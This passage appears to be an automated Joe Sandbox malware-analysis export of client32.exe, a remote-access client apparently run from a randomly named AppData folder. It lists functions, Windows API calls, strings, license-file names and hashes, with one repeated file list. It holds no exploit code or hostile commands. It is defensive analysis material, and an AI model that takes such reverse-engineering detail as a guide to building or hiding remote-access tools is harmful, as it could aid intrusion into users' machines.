Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ComputerDirectoryInformationNameSystemVolume__wsplitpath
String ID: $ACM$\Registry\Machine\SOFTWARE\Classes\N%x$\Registry\Machine\SOFTWARE\Classes\N%x.%s
API String ID: 806825551-1858614750
Opcode ID: 10a04c85090393e181044af2bbe891b78f34dcae4f388202a219c12921f261b8
Instruction ID: bd5304e3d9974d7ab46afc427c644d654ac0d4b62daaa3d8a48381b774377c4d
Opcode Fuzzy Hash: 10a04c85090393e181044af2bbe891b78f34dcae4f388202a219c12921f261b8
Instruction Fuzzy Hash: 4B214676A142491BD701CF309D80BBFFFBA9F8B249F080578D852DB145E626D914C391

Function 11144200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 11143C20: GetCurrentProcess.KERNEL32(1102947F,?,11143E73,?), ref: 11143C2C
Part of subcall function 11143C20: GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\bpsFyf\client32.exe,00000104,?,11143E73,?), ref: 11143C49

WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 11144255
ResetEvent.KERNEL32(00000268), ref: 11144269
SetEvent.KERNEL32(00000268), ref: 1114427F
WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 1114428E

Strings

MiniDump, xrefs: 11144207

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EventMultipleObjectsWait$CurrentFileModuleNameProcessReset
String ID: MiniDump
API String ID: 1494854734-2840755058
Opcode ID: af02bfec1e2ad683ef615fadee7153e651b028109eb63fc5543e4d95a1405a56
Instruction ID: 829689d5ebdc208bf7b78735a50f5ce9a06f611da5f38dced1c13c8e9b13f18e
Opcode Fuzzy Hash: af02bfec1e2ad683ef615fadee7153e651b028109eb63fc5543e4d95a1405a56
Instruction Fuzzy Hash: 4F113875E5422677E300DFF99C81F9AF768AB44B28F200230EA24D75C4EB71A504C7B1

Function 11146DA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

LoadStringA.USER32(00000000,0000194E,?,00000400), ref: 11146DCF
wsprintfA.USER32 ref: 11146E06

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\ctl32\util.cpp, xrefs: 11146E1B
i < _tsizeof (buf), xrefs: 11146E20
#%d, xrefs: 11146E00

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastLoadMessageProcessString
String ID: #%d$..\ctl32\util.cpp$i < _tsizeof (buf)
API String ID: 1985783259-2296142801
Opcode ID: 74c0a5bdbb0b764e858cc1f7afd52fdb49af151022e5f3ed446820e6430d86d5
Instruction ID: b1a6c5171231f01418375ac6f2de6c12625a8d09d3611db16d7d0d369645f93a
Opcode Fuzzy Hash: 74c0a5bdbb0b764e858cc1f7afd52fdb49af151022e5f3ed446820e6430d86d5
Instruction Fuzzy Hash: FA11A5FAE00128ABC720DB65ED81FAAF77C9B4461DF000565EB19B6141EA35AA05C7A8

Function 1110F420 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1110F439

Part of subcall function 11162B51: __FF_MSGBANNER.LIBCMT ref: 11162B6A
Part of subcall function 11162B51: __NMSG_WRITE.LIBCMT ref: 11162B71
Part of subcall function 11162B51: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162B96

wsprintfA.USER32 ref: 1110F454

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

_memset.LIBCMT ref: 1110F477

Strings

Can't alloc %u bytes, xrefs: 1110F44E
..\ctl32\Refcount.cpp, xrefs: 1110F465

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$AllocateErrorExitHeapLastMessageProcess_malloc_memset
String ID: ..\ctl32\Refcount.cpp$Can't alloc %u bytes
API String ID: 3234921582-2664294811
Opcode ID: 483ab18efc666d7fafa6765eedd91fa0800c96548fafe518ebc1f691375ec46a
Instruction ID: e8e28b36a5a63397ef775e95fa380a20e388029766e4784519104262db02a7f0
Opcode Fuzzy Hash: 483ab18efc666d7fafa6765eedd91fa0800c96548fafe518ebc1f691375ec46a
Instruction Fuzzy Hash: 1CF0F6B5E0012863C720AFA5AC06FEFF37C9F91658F440169EE04A7241EA71BA11C7E9

Function 11145AE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 111450A0: GetVersionExA.KERNEL32(111F0EF0,76968400), ref: 111450D0
Part of subcall function 111450A0: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114510F
Part of subcall function 111450A0: _memset.LIBCMT ref: 1114512D
Part of subcall function 111450A0: _strncpy.LIBCMT ref: 111451FA

LoadLibraryA.KERNEL32(shcore.dll,00000000,?,11030690,00000002), ref: 11145AFF
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 11145B11
FreeLibrary.KERNEL32(00000000,?,11030690,00000002), ref: 11145B24

Strings

shcore.dll, xrefs: 11145AFA
SetProcessDpiAwareness, xrefs: 11145B0B

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadOpenProcVersion_memset_strncpy
String ID: SetProcessDpiAwareness$shcore.dll
API String ID: 1108920153-1959555903
Opcode ID: 84c8b7a82ef375d59f410a45cba939869921b52f6e49d691c42b1d567085cd2e
Instruction ID: 699a5c6b52ff0bb6954823876d42b720b76b3255f49526743c1f98bd9e848574
Opcode Fuzzy Hash: 84c8b7a82ef375d59f410a45cba939869921b52f6e49d691c42b1d567085cd2e
Instruction Fuzzy Hash: 67F0A03A70022877E21416BAAC08F9ABB5A8BC8A75F140230F928D69C0EB51C90086B5

Function 11031870 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 78COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11031926

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

clientinv.cpp, xrefs: 1103189E
m_pDoInv == NULL, xrefs: 110318A3
%s%s.bin, xrefs: 11031920
562258, xrefs: 11031907

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastMessageProcess
String ID: %s%s.bin$562258$clientinv.cpp$m_pDoInv == NULL
API String ID: 4180936305-24552472
Opcode ID: 84e0b1850b63e3f6f9fe70c2d5af7440bbdd732114a0c990adb36dbba2c833c3
Instruction ID: 64da4217f7417b153db366359b1c36bd372b32cb55e7c28d29c46c6ec3487e21
Opcode Fuzzy Hash: 84e0b1850b63e3f6f9fe70c2d5af7440bbdd732114a0c990adb36dbba2c833c3
Instruction Fuzzy Hash: 5421A1B9E04709AFD710CF65DC81BAAB7F4FB88718F40453EE86597680EB35A9008B65

Function 11144670 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(11144D48,00000000,?,11144D48,00000000), ref: 1114468C
__strdup.LIBCMT ref: 111446A7

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

Part of subcall function 11144670: _free.LIBCMT ref: 111446CE

_free.LIBCMT ref: 111446DC

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

CreateDirectoryA.KERNEL32(11144D48,00000000,?,?,?,11144D48,00000000), ref: 111446E7

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$AttributesCreateDirectoryErrorFileFreeHeapLast__strdup_strrchr
String ID:
API String ID: 398584587-0
Opcode ID: 1d6e66add7aa45a35b25948c47e98be79544d5c3af84ae5a96c3b7650b6c772d
Instruction ID: 9245e394badc27c9d68c775c1ae1103ae8f1f8453310ecf51c29309078bed6c3
Opcode Fuzzy Hash: 1d6e66add7aa45a35b25948c47e98be79544d5c3af84ae5a96c3b7650b6c772d
Instruction Fuzzy Hash: F4016D7A7441065BF301197D7C057ABBB8C8F82AADF144032F89DC3D80F752E41682A1

Function 1100ED70 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 1100EDA2

Part of subcall function 11160824: _setlocale.LIBCMT ref: 11160836

_free.LIBCMT ref: 1100EDB4

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

_free.LIBCMT ref: 1100EDC7
_free.LIBCMT ref: 1100EDDA
_free.LIBCMT ref: 1100EDED

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_setlocalestd::_
String ID:
API String ID: 3515823920-0
Opcode ID: e9cccfb890659d646b87ebb6d02808fc30e7ad32e75d4fdbd2f602c0bae7d034
Instruction ID: 71b49ece8787e94f553dd036e4ff5c8d0ec16ff98238e97fea1187b5179b4c62
Opcode Fuzzy Hash: e9cccfb890659d646b87ebb6d02808fc30e7ad32e75d4fdbd2f602c0bae7d034
Instruction Fuzzy Hash: E61190B1D046109BD620DF599C40A5BF7FCEB44754F144A2AE456D3780E672F900CB91

Function 11145910 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

Part of subcall function 11144BD0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11194AB8), ref: 11144C3D
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110F4CB), ref: 11144C7E
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 11144CDB

wsprintfA.USER32 ref: 1114593E
wsprintfA.USER32 ref: 11145954

Part of subcall function 11143230: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110F4CB,76968400,?), ref: 111432C7
Part of subcall function 11143230: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 111432E7
Part of subcall function 11143230: CloseHandle.KERNEL32(00000000), ref: 111432EF

Strings

%sNSA.LIC, xrefs: 1114594E
NSM.LIC, xrefs: 11145923
%sNSM.LIC, xrefs: 11145938

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CreateFolderPathwsprintf$CloseHandleModuleName
String ID: %sNSA.LIC$%sNSM.LIC$NSM.LIC
API String ID: 3779116287-2600120591
Opcode ID: 67484a9d389779804940ba9c5ec62be4ee321b08fc9342a56252b28d4b9918b0
Instruction ID: 1f9a4f0ce9ce2038842d239495dc50e58c380b2d1dc072d0c6c391bd72002940
Opcode Fuzzy Hash: 67484a9d389779804940ba9c5ec62be4ee321b08fc9342a56252b28d4b9918b0
Instruction Fuzzy Hash: 9C01B1B990521D66CB109BB0AC41FEAF77C9B1470DF100199EC1996940EE21BA548BA4

Function 11143230 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110F4CB,76968400,?), ref: 111432C7
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 111432E7
CloseHandle.KERNEL32(00000000), ref: 111432EF

Strings

", xrefs: 1114327E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFile$CloseHandle
String ID: "
API String ID: 1443461169-123907689
Opcode ID: 6335c3239e743a75aad2b4d26ce3924e96bfc614049b49f4e6d7105e566d10f2
Instruction ID: 150de81b6b92e27c68bcdd2e608667d56283c35638c5ea37a79585d4ca6bceb2
Opcode Fuzzy Hash: 6335c3239e743a75aad2b4d26ce3924e96bfc614049b49f4e6d7105e566d10f2
Instruction Fuzzy Hash: 38217C30A1C269AFE3128E78DD54FD9BBA49F45B14F3041E0E4999B1C1DBB1A948C750

Function 1102D0D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

SetEvent.KERNEL32(?,Client,DisableGeolocation,00000000,00000000,59FD48C0,75732EE0,?,00000000,1118083B,000000FF,?,110300D6,UseIPC,00000001,00000000), ref: 1102D187

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

Part of subcall function 1110F520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,776CC3F0,?,1111022D,00000000,00000001,?,?,?,?,?,11031040), ref: 1110F53E

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 1102D14A

Strings

DisableGeolocation, xrefs: 1102D0FE
Client, xrefs: 1102D103

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
